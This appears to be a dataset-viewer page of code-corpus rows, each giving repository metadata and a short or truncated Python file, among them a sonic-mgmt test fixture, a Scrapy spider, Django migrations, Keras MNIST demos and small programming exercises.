from db_accessing import *
from db_accessing.VO import Music_VO, Artist_VO, Album_VO
from modules.collection.urlMaker import UrlMaker
class Collector:
def crawling_mnet_month_chart(url):
# crawling_from_chart... | [
"[email protected]"
] | |
62ccef834d24c047c8d8308cd15dcbfcacd02062 | 49663ea34b41c8180d7484f778f5cad2e701d220 | /tests/restapi/conftest.py | 8915e5344b0b69e02c6d33ddb2f2045958be013b | [
"LicenseRef-scancode-generic-cla",
"Apache-2.0"
] | permissive | stepanblyschak/sonic-mgmt | ed08c98e7bff1615b057daa8711686aa5986073d | a1ae1e0b4e9927e6f52916f76121780d19ec3e54 | refs/heads/master | 2023-04-07T01:30:11.403900 | 2023-03-29T10:16:52 | 2023-03-29T10:16:52 | 135,678,178 | 0 | 0 | NOASSERTION | 2023-03-29T16:13:55 | 2018-06-01T06:41:49 | Python | UTF-8 | Python | false | false | 4,694 | py | import logging
import pytest
import urllib3
from six.moves.urllib.parse import urlunparse
from tests.common import config_reload
from tests.common.helpers.assertions import pytest_require as pyrequire
from tests.common.helpers.dut_utils import check_container_state
from helper import apply_cert_config
RESTAPI_CONTAI... | [
"[email protected]"
] | |
80954ebe7830dd8dfab25e0a013922bc01815edb | 160ff0dbe7f9e5d740faa3ce13302190e1e5f1f0 | /Calc.py | db893a216b2d9cc553077be5697b83b7af2224fd | [] | no_license | sivatoms/PyReddy | 9a84e1568e9ee6c16c2b51ba6044059d31ae62dd | fcc0ab8705d409c6b609f9b5f5cffb8900dd8eb7 | refs/heads/master | 2021-06-26T17:42:43.104598 | 2021-01-20T21:40:06 | 2021-01-20T21:40:06 | 197,511,789 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py |
from Demo import wish
def add(a,b):
print(a+b)
def sub(a,b):
print(a-b)
def mul(a,b):
print(a*b)
def div(a,b):
print(a/b)
wish()
print("This is second modules") | [
"[email protected]"
] | |
03ff54224dfdb710b2127f90b62adc825688daf5 | 419637376e445ec9faf04c877d5fb6c09d15903f | /steam/admin/activity/productAuditService.py | ec92efa0a2a88750d9fbbdda4e0b8a68c42dbce8 | [] | no_license | litaojun/steamOmTest | e4203df30acafaa5e282631d77429c0e4483fb88 | 86f84dbd802d947198823e02c2f1ba2695418a76 | refs/heads/master | 2020-04-02T21:48:55.115389 | 2019-07-11T06:08:27 | 2019-07-11T06:08:27 | 154,812,217 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 442 | py | from steam.util.httpUopService import HttpUopService
from opg.bak.uopService import decorator
class ProductAuditService(HttpUopService):
'''
审核活动
'''
def __init__(self, kwargs):
super(ProductAuditService, self).__init__(module = "",
filename = "",
sqlvalu... | [
"[email protected]"
] | |
043726843b64f7026111458e53c6551599ad3e12 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03328/s713805169.py | 9bf51a8dd2d62f9ce6c096b400cb84417951bd79 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 454 | py | import sys
import math
import itertools
import collections
import heapq
import re
import numpy as np
from functools import reduce
rr = lambda: sys.stdin.readline().rstrip()
rs = lambda: sys.stdin.readline().split()
ri = lambda: int(sys.stdin.readline())
rm = lambda: map(int, sys.stdin.readline().split())
rl = lambda: ... | [
"[email protected]"
] | |
f096553bf112edde9a685cccede57835e9c15dd8 | 392a35174450d1151d276481be4bb4c1ed1fc841 | /chapter-05/Q06_conversion.py | d280bd750de009a1f698bee7dc71814d7822e90f | [] | no_license | jcockbain/ctci-solutions | 8f96a87532a7581cdfc55c29c8684fcdfab77a62 | 6854e9f6c7074ae22e01c3e5f6c03f641e507cd7 | refs/heads/master | 2023-01-15T16:59:58.038900 | 2020-11-28T09:14:36 | 2020-11-28T09:14:36 | 202,898,842 | 6 | 0 | null | 2020-11-28T09:14:37 | 2019-08-17T15:33:25 | Python | UTF-8 | Python | false | false | 254 | py | import unittest
def conversion(n1, n2):
c = n1 ^ n2
count = 0
while c:
c &= c - 1
count += 1
return count
class Test(unittest.TestCase):
def test_conversion(self):
self.assertEqual(2, conversion(29, 15))
| [
"[email protected]"
] | |
d3c04239cbf82fb6c83edd7f0d839a76a25a1fb7 | c19ca6779f247572ac46c6f95327af2374135600 | /backtrack/leetcode 784 Letter Case Permutation.py | 7145ae98631ee4d97b9ba49b7d4cfe96f90f5f24 | [] | no_license | clhchtcjj/Algorithm | aae9c90d945030707791d9a98d1312e4c07705f8 | aec68ce90a9fbceaeb855efc2c83c047acbd53b5 | refs/heads/master | 2021-01-25T14:24:08.037204 | 2018-06-11T14:31:38 | 2018-06-11T14:31:38 | 123,695,313 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,006 | py | __author__ = 'CLH'
'''
Given a string S, we can transform every letter individually to be lowercase or uppercase to create another string. Return a list of all possible strings we could create.
'''
class Solution(object):
def __init__(self):
self.S = []
self.answer = []
self.total_answ... | [
"[email protected]"
] | |
56a2b628001cbc8b80e9af74b4972644b513bd67 | 81407be1385564308db7193634a2bb050b4f822e | /library/lib_study/138_mm_imghdr.py | b2e25a38bf54fb2a4859d179ee87719fc5ae4348 | [
"MIT"
] | permissive | gottaegbert/penter | 6db4f7d82c143af1209b4259ba32145aba7d6bd3 | 8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d | refs/heads/master | 2022-12-30T14:51:45.132819 | 2020-10-09T05:33:23 | 2020-10-09T05:33:23 | 305,266,398 | 0 | 0 | MIT | 2020-10-19T04:56:02 | 2020-10-19T04:53:05 | null | UTF-8 | Python | false | false | 210 | py | # imghdr模块 推测文件或字节流中的图像的类型
import imghdr
print(imghdr.what('bass.gif'))
# gif
# 可以识别的图像类型 https://docs.python.org/zh-cn/3/library/imghdr.html#imghdr.what
| [
"[email protected]"
] | |
ee9ade01e55751cb4ad59fad7e8007aa52bf3c2d | d5b339d5b71c2d103b186ed98167b0c9488cff09 | /marvin/cloudstackAPI/createCounter.py | a4ed8386ce48bc5d359fb2c7235ada34f89378f4 | [
"Apache-2.0"
] | permissive | maduhu/marvin | 3e5f9b6f797004bcb8ad1d16c7d9c9e26a5e63cc | 211205ae1da4e3f18f9a1763f0f8f4a16093ddb0 | refs/heads/master | 2020-12-02T17:45:35.685447 | 2017-04-03T11:32:11 | 2017-04-03T11:32:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,275 | py | """Adds metric counter"""
from baseCmd import *
from baseResponse import *
class createCounterCmd (baseCmd):
typeInfo = {}
def __init__(self):
self.isAsync = "true"
"""Name of the counter."""
"""Required"""
self.name = None
self.typeInfo['name'] = 'string'
"""S... | [
"[email protected]"
] | |
087a67e5405e3ada78f98dc48c3379436a96b3a2 | 6ac723c541e410f737be68f0af634c738e881d74 | /probes.py | abd27d07112f5ce2f0c88bd8935838e6c005df25 | [] | no_license | cxrodgers/Adapters | d478616372ca9fbfc55a886d5b384a15b01a7b91 | da68169c4bb8d8f3c4df13205df2626635632cb8 | refs/heads/master | 2022-12-22T07:46:25.588285 | 2022-12-09T15:21:54 | 2022-12-09T15:21:54 | 4,681,174 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,830 | py | """Pinout for each probe, from channel numbers to Samtec numbers."""
from builtins import range
import Adapters
## This is for Adrian's 1x8 shank array
# This one goes from "electrode #" (depth?) to "interposer PCB #"
adrian_8shank2interposer = Adapters.Adapter(
[27, 25, 21, 20, 9],
[41, 45, 53, 55, 52],
)
#... | [
"[email protected]"
] | |
161ef121e5f50f8ab2a32b0600ab9a65c050b69b | 01b49cefcb2e1aae896a444e525c4cd09aff68be | /nyankobiyori.py | 5e84f044fb388d972b61ccd0aeeb3abbcb0436e1 | [
"MIT"
] | permissive | ikeikeikeike/scrapy-2ch-summary-spiders | 308eccbe83bfc03064ec4b7a9b3952985bf58a15 | 7142693f25025a09390377649a727cfd33d15af3 | refs/heads/master | 2020-04-01T18:04:38.319532 | 2015-01-08T08:30:16 | 2015-01-08T08:30:16 | 28,956,442 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,625 | py | # -*- coding: utf-8 -*-
import re
import itertools
from scrapy import log
from scrapy.selector import Selector
from summaries.items import SummariesItem
from thread_float_bbs import (
SequenceAppend,
ThreadFloatBbsSpider
)
class NyankobiyoriSpider(ThreadFloatBbsSpider):
""" for nyankobiyori.com
"""... | [
"[email protected]"
] | |
09efa3e2cc46a870ee131e9c706297c18b8b44e4 | 2db5bf5832ddb99e93bb949ace1fad1fde847319 | /beginLearn/googleclass/class4/pdtest.py | 3b933a6cef80f4c7bb2ba24fc99b874212470863 | [] | no_license | RoderickAdriance/PythonDemo | 2d92b9aa66fcd77b6f797e865df77fbc8c2bcd14 | 98b124fecd3a972d7bc46661c6a7de8787b8e761 | refs/heads/master | 2020-04-06T17:36:46.000133 | 2018-11-15T07:07:03 | 2018-11-15T07:07:03 | 157,666,809 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | import pandas as pd
import numpy as np
city_names=pd.Series(['San Francisco', 'San Jose', 'Sacramento'])
population = pd.Series([852469, 1015785, 485199])
cities = pd.DataFrame({'City name': city_names, 'Population': population})
california_housing_dataframe=pd.read_csv('data.csv')
california_housing_dataframe.hist... | [
"[email protected]"
] | |
0a06a2b02ea2ebe7e1e750ff6fcf6079526a4e8e | 53dd5d2cfb79edc87f6c606bbfb7d0bedcf6da61 | /.history/EMR/zhzd_add_20190618132817.py | d0748388e5fbee29a405014068576007a52ae777 | [] | no_license | cyc19950621/python | 4add54894dc81187211aa8d45e5115903b69a182 | d184b83e73334a37d413306d3694e14a19580cb0 | refs/heads/master | 2020-04-11T20:39:34.641303 | 2019-07-02T12:54:49 | 2019-07-02T12:54:49 | 162,078,640 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 766 | py | import time
import math
import os
import sys
import os, os.path,shutil
import codecs
import EMRdef
import re
import pandas as pd
emrtxts = EMRdef.txttq(u'D:\DeepLearning ER\EHRzhzd5')#txt目录提取
emrtxt2s = EMRdef.txttq(u'D:\DeepLearning ER\EHRsex')
ryzd = []
for emrtxt in emrtxts:
f = open(emrtxt,'r',errors="ignore")... | [
"[email protected]"
] | |
953d8bc38856a27f6a9df03d5819e05e01559c06 | 646b0a41238b96748c7d879dd1bf81858651eb66 | /src/mdt/orm/GulpOpt.py | 177f7a316baa5b0cda918805763bfe60e8fcfac3 | [] | no_license | danse-inelastic/molDynamics | ded0298f8219064e086472299e1383d3dff2dac3 | c8e0bfd9cb65bcfc238e7993b6e7550289d2b219 | refs/heads/master | 2021-01-01T19:42:29.904390 | 2015-05-03T17:27:38 | 2015-05-03T17:27:38 | 34,993,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,749 | py | #!/usr/bin/env python
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# J Brandon Keith, Jiao Lin
# California Institute of Technology
# (C) 2006-2011 All Rights Reserved
#
# {LicenseText}
#
# ~~~~~~~~~~~~~~~~~~~~~~... | [
"[email protected]"
] | |
01b65fa62f033ee2bb173040766119fcba0b4fe2 | 91d1a6968b90d9d461e9a2ece12b465486e3ccc2 | /pinpoint_write_2/endpoint_delete.py | cf53331aefddda4f6a700adcbf0325709acdb957 | [] | no_license | lxtxl/aws_cli | c31fc994c9a4296d6bac851e680d5adbf7e93481 | aaf35df1b7509abf5601d3f09ff1fece482facda | refs/heads/master | 2023-02-06T09:00:33.088379 | 2020-12-27T13:38:45 | 2020-12-27T13:38:45 | 318,686,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,101 | py | #!/usr/bin/python
# -*- codding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from common.execute_command import write_two_parameter
# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/pinpoint/delete-endpoint.html
if __name__ == '__... | [
"[email protected]"
] | |
210ea9a60a611db409d76c3c0405210c78d2cfcc | 2b7cd8141d6c17572c05d4d70e3e616e02449e72 | /python/GafferSceneUI/CollectScenesUI.py | 341298801206215eb7677d5fcea14b99ce048bf9 | [
"BSD-3-Clause"
] | permissive | gray10b/gaffer | 45aefd4ebbf515d5b491777a3bfd027d90715114 | 828b3b59f1154b0a14020cbf9a292c9048c09968 | refs/heads/master | 2021-01-02T09:11:13.137347 | 2017-08-04T05:07:31 | 2017-08-04T05:07:31 | 99,158,553 | 0 | 0 | null | 2017-08-02T20:34:13 | 2017-08-02T20:34:13 | null | UTF-8 | Python | false | false | 3,233 | py | ##########################################################################
#
# Copyright (c) 2017, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistrib... | [
"[email protected]"
] | |
f2dbfe14a65b0edc19d892ddcc7a57467691b220 | f87f51ec4d9353bc3836e22ac4a944951f9c45c0 | /.history/HW01_20210624144937.py | b9d45c1f373833420f3987ed361ba22bbc6b3abd | [] | no_license | sanjayMamidipaka/cs1301 | deaffee3847519eb85030d1bd82ae11e734bc1b7 | 9ddb66596497382d807673eba96853a17884d67b | refs/heads/main | 2023-06-25T04:52:28.153535 | 2021-07-26T16:42:44 | 2021-07-26T16:42:44 | 389,703,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,177 | py | """
Georgia Institute of Technology - CS1301
HW01 - Functions and Expressions
Collaboration Statement:
"""
#########################################
"""
Function Name: bake()
Parameters: cakes (int), cupcakes (int), cookies (int)
Returns: None
"""
def bake(cakes, cupcakes, cookies):
cake_time = cake... | [
"[email protected]"
] | |
19e5b00f91bf0b3b5006b61638f0eaf93703a415 | cbfb679bd068a1153ed855f0db1a8b9e0d4bfd98 | /leet/facebook/strings_arrays/implement_trie(prefix_tree).py | d2417b0002dda188bd8067925406649cf3692fca | [] | no_license | arsamigullin/problem_solving_python | 47715858a394ba9298e04c11f2fe7f5ec0ee443a | 59f70dc4466e15df591ba285317e4a1fe808ed60 | refs/heads/master | 2023-03-04T01:13:51.280001 | 2023-02-27T18:20:56 | 2023-02-27T18:20:56 | 212,953,851 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,538 | py | # this solution is slow but looks right
# we declared TrieNode. It store list of TrieNodes inside of length 26
class TrieNode:
def __init__(self):
self.links = [None] * 26
self.end = False
def get(self, char):
return self.links[ord(char) - ord('a')]
def contains(self, char):
... | [
"[email protected]"
] | |
37c1b77dd3586311b40f194e2b54e9d3196a58e6 | f874b3bffdf98ea52a12f9cd08566557e33d4c98 | /extract_info.py | 661aedd6a01faa476fa02e92316332480fa98e79 | [
"Apache-2.0"
] | permissive | lmorillas/recursoscaa | 8e567246f722a38a7fb61dd6a884fd0d153cd338 | bac2ff39d67028ca8d4969d23f5061f09be59a0e | refs/heads/master | 2018-12-28T00:24:31.042017 | 2015-08-29T08:13:23 | 2015-08-29T08:13:23 | 32,229,559 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,684 | py | from amara.bindery import html
from amara.lib import U
from urlparse import urljoin
doc = html.parse('http://es.slideshare.net/JosManuelMarcos/presentations')
doc2 = html.parse('http://es.slideshare.net/JosManuelMarcos/presentations/2')
links = []
datos = []
def extract_links(doc):
return doc.xml_select('//ul[@... | [
"[email protected]"
] | |
d7043a83bf47e5a0fc3d1216e5b5cab408f81ede | 11a246743073e9d2cb550f9144f59b95afebf195 | /advent/2017/day8.py | 6b9e3586e8658bcf41dbd5263b00183231315b58 | [] | no_license | ankitpriyarup/online-judge | b5b779c26439369cedc05c045af5511cbc3c980f | 8a00ec141142c129bfa13a68dbf704091eae9588 | refs/heads/master | 2020-09-05T02:46:56.377213 | 2019-10-27T20:12:25 | 2019-10-27T20:12:25 | 219,959,932 | 0 | 1 | null | 2019-11-06T09:30:58 | 2019-11-06T09:30:57 | null | UTF-8 | Python | false | false | 574 | py | from collections import *
import itertools
import random
import sys
def main():
d = defaultdict(int)
ans = -19
for line in sys.stdin:
words = line.strip().split()
d_reg = words[0]
sgn = 1 if words[1] == 'inc' else -1
amt = int(words[2])
reg = words[4]
e = wo... | [
"[email protected]"
] | |
d1e1ea3ca62fa8c7eee1ea56bcf21143db9db802 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03962/s618919847.py | 7c3073e9045ef040a154ec5d8acb94554d03edf5 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 514 | py | import sys
import math
from functools import reduce
import bisect
def getN():
return int(input())
def getNM():
return map(int, input().split())
def getList():
return list(map(int, input().split()))
def input():
return sys.stdin.readline().rstrip()
# input = sys.stdin.buffer.readline
def index... | [
"[email protected]"
] | |
92275752bbea081287f13884cac8c5b556fa1fd2 | 5c58587ebfbf56192b3dc6ed6f43bc002c8e2cff | /payments/migrations/0026_auto_20180906_1023.py | bb3127132c77be7ffde946ce16ac96b8870c7008 | [] | no_license | hossamelneily/nexchange | fb9a812cfc72ac00b90cf64d6669a8129c2d2d4b | 6d69274cd3808989abe2f5276feb772d1f0fa8b4 | refs/heads/release | 2022-12-13T09:20:47.297943 | 2019-02-12T08:20:34 | 2019-02-12T08:20:34 | 210,064,740 | 1 | 2 | null | 2022-12-09T00:54:01 | 2019-09-21T23:19:34 | Python | UTF-8 | Python | false | false | 4,388 | py | # Generated by Django 2.0.7 on 2018-09-06 10:23
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0066_remove_transactionprice_type'),
('payments', '0025_auto_20180822_1537'),
]
operations = [
... | [
"[email protected]"
] | |
7b10bae824de4ead5ffbb387b689114066ec431d | 5d304c6ec0f01edee73e3b612f84307060c0da54 | /letter_combinations_of_a_phone_number.py | 089f3c0c2377b7e620e80a61fbd5b12517d716e8 | [] | no_license | xartisan/leetcode-solutions-in-python | cfa06b9e02f7ec0446cf6b71df4ea46caa359adc | 7e3929a4b5bd0344f93373979c9d1acc4ae192a7 | refs/heads/master | 2020-03-14T17:10:07.957089 | 2018-07-29T10:11:01 | 2018-07-29T10:11:01 | 131,713,447 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 499 | py | class Solution:
def letterCombinations(self, digits):
"""
:type digits: str
:rtype: List[str]
"""
keys = ["", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"]
rv = []
for d in digits:
d = int(d)
tmp = []
for c i... | [
"[email protected]"
] | |
d3f0f22a9f875992c367e7fce63ee8366b08f220 | 5254c3a7e94666264120f26c87734ad053c54541 | /Revision de Pares/Semana N°5/Caso 2/05-0-gin-fileparse.py-vir-2020-09-08_19.44.49.py | c1df151428fe518671cc730320bf9ea5a29de07f | [] | no_license | ccollado7/UNSAM---Python | 425eb29a2df8777e9f892b08cc250bce9b2b0b8c | f2d0e7b3f64efa8d03f9aa4707c90e992683672d | refs/heads/master | 2023-03-21T17:42:27.210599 | 2021-03-09T13:06:45 | 2021-03-09T13:06:45 | 286,613,172 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,352 | py | #fileparse.py
import csv
def parse_csv(nombre_archivo, select = None, types = None, has_headers=True):
'''
Parsea un archivo CSV en una lista de registros.
Se puede seleccionar sólo un subconjunto de las columnas, determinando el parámetro select, que debe ser una lista de nombres de las columnas a conside... | [
"[email protected]"
] | |
77646e2ec0616be8c2082741e2ca6efa9902dd3a | ef457162d79be971f52ee96b1891764a2d230e8b | /demo.py | 0b61466993849c1bffa5dd4056ad7be10ebc7073 | [] | no_license | LuoJiaji/modularCNN | f2239f6b4ed378fede4401f6e90d9b1d5acc8c70 | b8591c3924abeccaebfad56289a185f904da8608 | refs/heads/master | 2020-06-18T12:57:59.192061 | 2019-07-11T13:20:08 | 2019-07-11T13:20:08 | 196,309,757 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,242 | py | import random
import numpy as np
import matplotlib.pyplot as plt
from keras.datasets import mnist
from keras.preprocessing import image
from keras.models import Model, load_model
from keras.layers import Input, Flatten, Dense, Dropout, Lambda
from keras.layers.convolutional import Conv2D
from keras.layers.pooling impor... | [
"[email protected]"
] | |
613558e1f0a6f4199d62e2feae12a2ba06b09eba | 66e45a2760db8a1fc580689586806c2e3cce0517 | /pymontecarlo/options/model/base.py | 8951f563fdc581a862298aeec9784c0e6a2631d2 | [] | no_license | arooney/pymontecarlo | 4b5b65c88737de6fac867135bc05a175c8114e48 | d2abbb3e9d3bb903ffec6dd56472470e15928b46 | refs/heads/master | 2020-12-02T18:01:42.525323 | 2017-05-19T16:44:30 | 2017-05-19T16:44:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 649 | py | """
Base models.
"""
# Standard library modules.
import abc
import enum
# Third party modules.
# Local modules.
from pymontecarlo.options.base import Option
# Globals and constants variables.
class ModelMeta(enum.EnumMeta, abc.ABCMeta):
pass
class Model(Option, enum.Enum, metaclass=ModelMeta):
def __init... | [
"[email protected]"
] | |
bbb0e5789cc95e133b10dc78292d1330aa319f50 | 09d349155446f2f32519cfc7deb7f79b1138a158 | /kraft/actions.py | d7a5fba1e5bcf34353359243e9c51f253c87c7e3 | [] | no_license | marcin-/pardususer.de | 632d7fb4c5a9252dbcf82711a5da126523d3b8e8 | 1d4bb1d1f9da113cf2b8cbcc6b544ec9b9616862 | refs/heads/master | 2016-09-05T23:22:38.726769 | 2012-10-08T20:40:39 | 2012-10-08T20:40:39 | 6,114,809 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 810 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
from pisi.actionsapi import cmaketools
from pisi.actionsapi import pisitools
from pisi.actionsapi import shelltools
from pisi.actionsapi import get
def setup():
shelltools.makedirs("build")
shelltools.cd("build")
cmaketools.configure("-DCMAKE_INSTALL_PREFIX=/usr \... | [
"[email protected]"
] | |
5005cb8e54066070f254014fede0db6ecb90ed09 | b6df7cda5c23cda304fcc0af1450ac3c27a224c1 | /nlp/preprocessing.py | 441402923997d2e7d7041d50ca10938068282e69 | [] | no_license | vieira-rafael/py-search | 88ee167fa1949414cc4f3c98d33f8ecec1ce756d | b8c6dccc58d72af35e4d4631f21178296f610b8a | refs/heads/master | 2021-01-21T04:59:36.220510 | 2016-06-20T01:45:34 | 2016-06-20T01:45:34 | 54,433,313 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 287 | py |
class PreProcessing:
def __init__(self):
stopwords = ["and","del","from","not","while","as","elif","global","or","with","assert","else","if","pass","yield","break","except","import","print","class","exec","in","raise","continue","finally","is","return","def","for","lambda","try"];
| [
"[email protected]"
] | |
d425739853edd3970661241960467b810be5829e | ab5731ae6e190a9b44b1cddbd11af89277302de9 | /read_json/data_json.py | 686c168a2ed574d935bcf65b3bbd202919f755d4 | [] | no_license | MachineLP/py_workSpace | e532781aab51c54a87602c387acd3199f9a75140 | 7937f3706e8d2d8a0e25ba0648bee6d1fcb27234 | refs/heads/master | 2021-08-29T02:56:02.415509 | 2021-08-23T10:38:59 | 2021-08-23T10:38:59 | 117,516,956 | 22 | 18 | null | null | null | null | UTF-8 | Python | false | false | 607 | py | # -*- coding: utf-8 -*-
"""
Created on 2017 10.17
@author: liupeng
"""
import sys
import numpy as np
import json as js
class load_image_from_json(object):
def __init__(self, json_file):
self.json_file = json_file
def __del__(self):
pass
def js_load(self):
... | [
"[email protected]"
] | |
b35422cbf3d8501bfd9d006f2035134b3d022010 | 327a8fe2743bde7f49b19914e4d62091cb7c79d6 | /upload/wsgi.py | d97d7643e5921ed05ee7ec9f48320185ec321262 | [
"MIT"
] | permissive | danrneal/raft-drf-exercise | 3de78d115e02a3739911feb30e1b96f482b873e0 | f62d2f05cd085f7a8d9b89f4ecee2c76feb4b47e | refs/heads/main | 2023-08-03T17:04:14.583022 | 2021-09-22T19:53:08 | 2021-09-22T19:53:08 | 312,690,985 | 0 | 0 | MIT | 2021-09-22T19:53:09 | 2020-11-13T21:47:48 | Python | UTF-8 | Python | false | false | 389 | py | """
WSGI config for upload project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTIN... | [
"[email protected]"
] | |
d87050e9f0620d49c9b7e96014c4fa531605ba4a | 64ab5b65afdf8d950c4b56ad2259133b95fc2fec | /zeus/migrations/e373a7bffa18_unique_build_failures.py | c118ddf8f86aee0ea630a9b38be70d3beae61969 | [
"Apache-2.0"
] | permissive | getsentry/zeus | 3e88895443b23278fdb4c25121422ee214630512 | 6d4a490c19ebe406b551641a022ca08f26c21fcb | refs/heads/master | 2023-09-01T14:20:11.396306 | 2021-04-30T17:08:33 | 2021-04-30T17:08:33 | 96,131,433 | 222 | 27 | Apache-2.0 | 2022-06-01T03:17:16 | 2017-07-03T16:39:35 | Python | UTF-8 | Python | false | false | 897 | py | """unique_build_failures
Revision ID: e373a7bffa18
Revises: 54bbb66a65a6
Create Date: 2020-03-13 09:25:38.492704
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = "e373a7bffa18"
down_revision = "54bbb66a65a6"
branch_labels = ()
depends_on = None
def upgrade():
... | [
"[email protected]"
] | |
a1ebf96d93a3e1ae78d6189b078630bb4fcf8d52 | 7f90f49237b30e404161b4670233d023efb7b43b | /第二章 python核心/HX02_linux系统编程/01进程/test/jc10_子进程多种方式小结.py | a42c62f02979b3b07ae8548d92ebb3d3b86fd1b6 | [] | no_license | FangyangJz/Black_Horse_Python_Code | c5e93415109699cc42ffeae683f422da80176350 | 34f6c929484de7e223a4bcd020bc241bb7201a3d | refs/heads/master | 2020-03-23T01:52:42.069393 | 2018-07-14T12:05:12 | 2018-07-14T12:05:12 | 140,942,688 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 451 | py | # !/usr/bin/env python
# -*- coding:utf-8 -*-
# author: Fangyang time:2018/3/31
# (1) fork, 只用于linux (不推荐)
ret = os.fork()
if ret == 0:
# 子进程
else:
# 父进程
# (2) Process(target=xxx), 还有一个 class Xxx(Process):
p1 = Process(target=func)
p1.start()
# 主进程也能干点活
# (3) pool (推荐)
pool = Pool(3)
pool.apply_async(xxxx)... | [
"[email protected]"
] | |
ac4b87c2ef8d46c4149984f849a04f5e20b3fc0e | 600df3590cce1fe49b9a96e9ca5b5242884a2a70 | /third_party/catapult/telemetry/telemetry/timeline/sample.py | 806f60fafa2635a581485698ceee0eed38121471 | [
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"BSD-3-Clause"
] | permissive | metux/chromium-suckless | efd087ba4f4070a6caac5bfbfb0f7a4e2f3c438a | 72a05af97787001756bae2511b7985e61498c965 | refs/heads/orig | 2022-12-04T23:53:58.681218 | 2017-04-30T10:59:06 | 2017-04-30T23:35:58 | 89,884,931 | 5 | 3 | BSD-3-Clause | 2022-11-23T20:52:53 | 2017-05-01T00:09:08 | null | UTF-8 | Python | false | false | 713 | py | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import telemetry.timeline.event as timeline_event
class Sample(timeline_event.TimelineEvent):
"""A Sample represents a sample taken at an instant in time... | [
"[email protected]"
] | |
a0d9c35a415b9dd7d28d35a0995ae5dc81209c6a | 4dd1d8fa59e20061e2c12e540fc52b1b305e575b | /source/sims/s89/plt-exact-sol.py | 0d82396776954a630e3f77a1be11e7c2991767ef | [
"MIT"
] | permissive | ammarhakim/ammar-simjournal | f63521906a97d55ab290a5960d94758139944c89 | 5019f4723e20db80a20db6f2bd454c2fd3241412 | refs/heads/master | 2023-06-08T08:18:11.722779 | 2023-06-02T15:06:43 | 2023-06-02T15:06:43 | 204,050,516 | 3 | 3 | null | 2022-02-01T16:53:13 | 2019-08-23T18:28:44 | Lua | UTF-8 | Python | false | false | 765 | py | import pylab
import tables
import math
import numpy
def exactSol(a, b, X):
c0 = -(1/2.0 + a/12.0 + b/30.0)
c1 = 0.0
return X**2/2 + a*X**4/12 + b*X**6/30 + c0*X + c1
fh = tables.openFile("s89-poisson-o3-1d_phi.h5")
q = fh.root.StructGridField
nx, nc = q.shape
Xf = pylab.linspace(0, 1, nx)
qe = q[:,0]
dx ... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.